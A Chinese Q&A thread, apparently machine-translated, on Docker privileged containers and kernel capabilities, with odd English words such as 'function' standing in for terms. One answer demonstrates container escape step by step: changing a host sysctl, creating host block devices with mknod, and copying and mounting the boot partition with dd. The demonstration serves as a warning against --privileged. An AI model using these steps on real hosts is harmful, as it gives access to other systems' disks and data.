特权容器和function
如果我在特权模式下运行容器，它是否具有所有内核function，还是需要分别添加它们？
以特权模式运行的确给了容器所有的function。 但是总是给容器提供所需的最低要求是一个很好的做法。如果你看Docker文档，他们也会参考这个标志
完整的容器function（ – 特权）
– – 特权标志赋予容器所有的function，同时也提升了设备cgroup控制器强制执行的所有限制。 换句话说，容器可以做主机可以做的几乎所有事情。 这个标志存在允许特殊的用例，比如在Docker中运行Docker。
你可以使用--cap-add标志赋予特定的function。 有关这些function的更多信息，请参阅man 7 capabilitiesfunction。 可以使用字面名称，例如--cap-add CAP_FOWNER 。
由于这篇文章是谷歌search排名高我想添加信息，为什么你永远不想运行一个容器使用--privileged
我正在使用NVMe驱动器的笔记本电脑进行此操作，但它可以在任何主机上使用。
docker run --privileged -t -i --rm ubuntu:latest bash
首先让我们做一些小事，来testing/ proc文件系统
从容器：
root@507aeb767c7e:/# cat /proc/sys/vm/swappiness 60 root@507aeb767c7e:/# echo "61" > /proc/sys/vm/swappiness root@507aeb767c7e:/# cat /proc/sys/vm/swappiness 60
好的，它改变了它的容器或主机？
$ cat /proc/sys/vm/swappiness 61
OOPS !,我们可以任意改变主机的内核参数。 但是这只是一个DOS情况，让我们看看我们是否可以从父主机收集特权信息。
让我们走/sys树并find引导磁盘的主要次要号码。
注意：我有两个NVMe驱动器和容器在另一个驱动器上的LVM下运行
root@507aeb767c7e:/proc# cat /sys/block/nvme1n1/dev 259:2
OK（确定）可以在dbus规则不会自动扫描的位置创build设备文件。
root@507aeb767c7e:/proc# mknod /devnvme1n1 b 259 2 root@507aeb767c7e:/proc# sfdisk -d /devnvme1n1 label: gpt label-id: 1BE1DF1D-3523-4F22-B22A-29FEF19F019E device: /devnvme1n1 unit: sectors first-lba: 34 last-lba: 2000409230 <SNIP>
好的，我们可以读取启动盘，让其中一个分区为设备文件。 虽然我们无法安装它，因为它会被打开，我们仍然可以使用dd来复制它。
root@507aeb767c7e:/proc# mknod /devnvme1n1p1 b 259 3 root@507aeb767c7e:/# dd if=devnvme1n1p1 of=foo.img 532480+0 records in 532480+0 records out 272629760 bytes (273 MB, 260 MiB) copied, 0.74277 s, 367 MB/s
好，让我们挂载，看看我们的努力工作！
root@507aeb767c7e:/# mount -o loop foo.img /foo root@507aeb767c7e:/# ls foo EFI root@507aeb767c7e:/# ls foo/EFI/ Boot Microsoft ubuntu
因此，基本上任何允许任何人启动“ --privileged容器的容器主机都与给予他们对该主机上每个容器的根访问权限相同。
不幸的是docker项目select了可信计算模型，而auth插件之外没有办法保护这个，所以总是在添加所需要的function和使用--privileged
这篇文章涵盖了RedHat的一篇很好的文章
虽然以“root”身份运行的docker容器的权限比主机上的root权限要低，但依赖于您的使用情况，仍然可能需要加强（用作开发环境vs共享生产群集）